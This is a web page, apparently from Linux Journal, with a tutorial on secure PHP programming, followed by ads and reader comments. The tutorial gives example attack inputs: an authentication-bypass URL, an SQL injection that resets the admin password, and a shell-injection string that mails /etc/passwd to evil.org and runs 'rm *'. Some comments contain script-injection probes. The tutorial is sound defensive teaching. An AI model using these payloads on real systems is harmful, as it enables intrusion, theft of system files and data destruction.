Programming PHP with Security in Mind
From time to time, you will find a security advisory about some major web application on security mailing lists. Most of the time, the problem is fixed easily. The errors often occur because the author had five minutes to do his application while his boss was yelling at him, or was distracted when developing it or simply did not have enough practice in programming secure web applications.
Writing a secure web application is not an easy task, because the real problem is not a matter of knowledge but one of practice. It is a good idea to keep some tips in mind when programming. To help memorize them, you should understand how and why they are so important. Then you can start to change your programming practices in the future. Knowledge of the most common threats and respective modes of attack can go a long way toward increasing security.
This article provides a basis for understanding secure programming with PHP and gives a broader view of the subject. You should keep in mind that these guidelines identify only the most common threats and how to avoid them, reducing the risk of security compromise at the same time.
The basic rule for writing a secure application is: never trust user input. Poorly validated user input constitutes the most severe security vulnerabilities in any web application. In other words, input data should be considered guilty unless proven innocent.
PHP versions prior to 4.2.0 registered by default all kinds of external variables in the global scope. So no variable could be trusted, whether external or internal.
Look at the following example:
<?php
if (authenticate_user()) {
$authenticated = true;
}
...
if (!$authenticated) {
die("Authorization required");
}
?>
If you set $authenticated to 1 via GET, like this:
http://example.com/admin.php?authenticated=1you would pass the last “if” in the previous example.
Thankfully, since version 4.1.0, PHP has deprecated register_globals. This means that GET, POST, Cookie, Server, Environment and Session variables are no longer in the global scope anymore. To help users build PHP applications with register_globals off, several new special arrays exist that are automatically global in any scope. They include $_GET, $_POST, $COOKIE, $_SERVER, $_ENV, $_REQUEST and $_SESSION.
If the directive register_globals is on, do yourself a favor and turn it off. If you turn it off and then validate all the user input, you made a big step toward secure programming. In many cases, a type casting is sufficient validation.
Client-side JavaScript form checks do not make any difference, because an attacker can submit any request, not only one that is available on the form. Here is an example of what this would look like:
<?php
$_SESSION['authenticated'] = false;
if (authenticate_user()) {
$_SESSION['authenticated'] = true;
}
...
if (!$_SESSION['authenticated']) {
die("Authorization required");
}
?>
Most PHP applications use databases, and they use input from a web form to construct SQL query strings. This type of interaction can be a security problem.
Imagine a PHP script that edits data from some table, with a web form that POSTs to the same script. The beginning of the script checks to see if the form was submitted, and if so, it updates the table the user chose.
<?php
if ($update_table_submit) {
$db->query("update $table set name=$name");
}
?>
If you do not validate the variable $table that came from the web form, and if you do not check to see if the $update_table_submit variable came from the form (via $POST['update_table_submit']), you can set its value via GET to whatever you want. You could do it like this:
http://example.com/edit.php?update_table_submit =1&table=users+set+password%3Daaa +where+user%3D%27admin%27+%23which results in the following SQL query:
update users set password=aaa where user="admin" # set name=$nameA simple validation for the $table variable would be to check whether its content is alphabetical only, or if it is only one word (if (count(explode("",$table)) { ... }).
Sometimes we need to call external programs (using system(), exec(), popen(), passthru() or the back-tick operator) in our PHP scripts. One of the most dangerous security threats is calling external programs if the program name or its arguments are based on user input. In fact, the PHP manual page for most of these functions includes a note that warns: “If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.”
Imagine the following example:
<?php
$fp = popen('/usr/sbin/sendmail -i '. $to, 'w');
?>
The user can control the content of the variable $to above in the following manner:
http://example.com/send.php?$to=evil%40evil.org+ %3C+%2Fetc%2Fpasswd%3B+rm+%2AThe result of this input would be running this command:
/usr/sbin/sendmail -i evil@evil.org /etc/passwd; rm *A simple solution to resolve this security problem is:
<?php
$fp = popen('/usr/sbin/sendmail -i '.
escapeshellarg($to), 'w');
?>
Better than that, check whether the content in the $to variable is
a valid e-mail address, with a regexp.
Realizing the promise of Apache® Hadoop® requires the effective deployment of compute, memory, storage and networking to achieve optimal results. With its flexibility and multitude of options, it is easy to over or under provision the server infrastructure, resulting in poor performance and high TCO. Join us for an in depth, technical discussion with industry experts from leading Hadoop and server companies who will provide insights into the key considerations for designing and deploying an optimal Hadoop cluster.
Sponsored by AMD
If you already use virtualized infrastructure, you are well on your way to leveraging the power of the cloud. Virtualization offers the promise of limitless resources, but how do you manage that scalability when your DevOps team doesn’t scale? In today’s hypercompetitive markets, fast results can make a difference between leading the pack vs. obsolescence. Organizations need more benefits from cloud computing than just raw resources. They need agility, flexibility, convenience, ROI, and control.
Stackato private Platform-as-a-Service technology from ActiveState extends your private cloud infrastructure by creating a private PaaS to provide on-demand availability, flexibility, control, and ultimately, faster time-to-market for your enterprise.
Sponsored by ActiveState
| Non-Linux FOSS: libnotify, OS X Style | Jun 18, 2013 |
| Containers—Not Virtual Machines—Are the Future Cloud | Jun 17, 2013 |
| Lock-Free Multi-Producer Multi-Consumer Queue on Ring Buffer | Jun 12, 2013 |
| Weechat, Irssi's Little Brother | Jun 11, 2013 |
| One Tail Just Isn't Enough | Jun 07, 2013 |
| Introduction to MapReduce with Hadoop on Linux | Jun 05, 2013 |
- Containers—Not Virtual Machines—Are the Future Cloud
- Non-Linux FOSS: libnotify, OS X Style
- Lock-Free Multi-Producer Multi-Consumer Queue on Ring Buffer
- Linux Systems Administrator
- Introduction to MapReduce with Hadoop on Linux
- RSS Feeds
- Weechat, Irssi's Little Brother
- Tech Tip: Really Simple HTTP Server with Python
- Validate an E-Mail Address with PHP, the Right Way
- Android's Limits
- Reply to comment | Linux Journal
30 min 41 sec ago - Welcome to 1998
1 hour 19 min ago - notifier shortcomings
1 hour 42 min ago - heroku?
3 hours 19 min ago - Android User
3 hours 21 min ago - Reply to comment | Linux Journal
5 hours 14 min ago - compiling
8 hours 3 min ago - This is a good post. This
13 hours 16 min ago - Great, This is really amazing
13 hours 18 min ago - These posts are really good
13 hours 20 min ago
Free Webinar: Hadoop
How to Build an Optimal Hadoop Cluster to Store and Maintain Unlimited Amounts of Data Using Microservers
Realizing the promise of Apache® Hadoop® requires the effective deployment of compute, memory, storage and networking to achieve optimal results. With its flexibility and multitude of options, it is easy to over or under provision the server infrastructure, resulting in poor performance and high TCO. Join us for an in depth, technical discussion with industry experts from leading Hadoop and server companies who will provide insights into the key considerations for designing and deploying an optimal Hadoop cluster.
Some of key questions to be discussed are:
- What is the “typical” Hadoop cluster and what should be installed on the different machine types?
- Why should you consider the typical workload patterns when making your hardware decisions?
- Are all microservers created equal for Hadoop deployments?
- How do I plan for expansion if I require more compute, memory, storage or networking?




Comments
aa
window.location='http://www.yahoo.com'
Is there any way
Is there any way that a user can not get a page by typing url in address bar.
User only redirected to the target pages by submit a form or else....
i wanted to ask about the leftframe.php
look at this for e.g.
http://www.tvdekho.com/frameleft.php?url= has a left frame and then look at this
http://www.tvdekho.com/external.php?url=aHR0cDovL3d3dy52aWRlb3N0YXRlLnR2...
how is this formed. Please contact me.
Plagiarism
the URL of the actual article is:
http://www.developer.com/lang/article.php/918141
Plagiarism
I think that there are too many coincidences (same sub-topics and code snippets) with an article(http://www.developer.com/lang/archives.php), published a year prior to this one. It is just not honest not to give credit!
Most articles about security
Most articles about security and PHP cover the same topics.
Just because they both gave the "sendmail" example it doesn't really mean anything. But everyone can read both articles and judge for themselves. :-)
CSS?
Since when is CSS not cascading style sheets? You can't just invent acronyms for something that overlap other well known ones.
Re: CSS?
It's also very common for people to introduce some short name for a long name so they don't have to write down the endless name all the time. So even if it's not officially used for Cross-Side-Scripting, doesn't mean he's inventing. He's just applying some writing style that is rather common. Yeah, I read books :P
Nice article, enjoyed reading it.
Re: CSS?
XSS for cross-site scripting.
Re: CSS?
Actually CSS stands for both Cascading Style Sheets and (for a while) Cross Site Scripting. usually now though Cross Site Scripting is refered to XSS
Re: CSS?
IANAL (I Am Not A Linguist)
Re: Programming PHP with Security in Mind
alert ('http://www.cgisecurity.com/cgi-bin/cookie.cgi');
Wouldn't it be great if this article would run on a secure cms?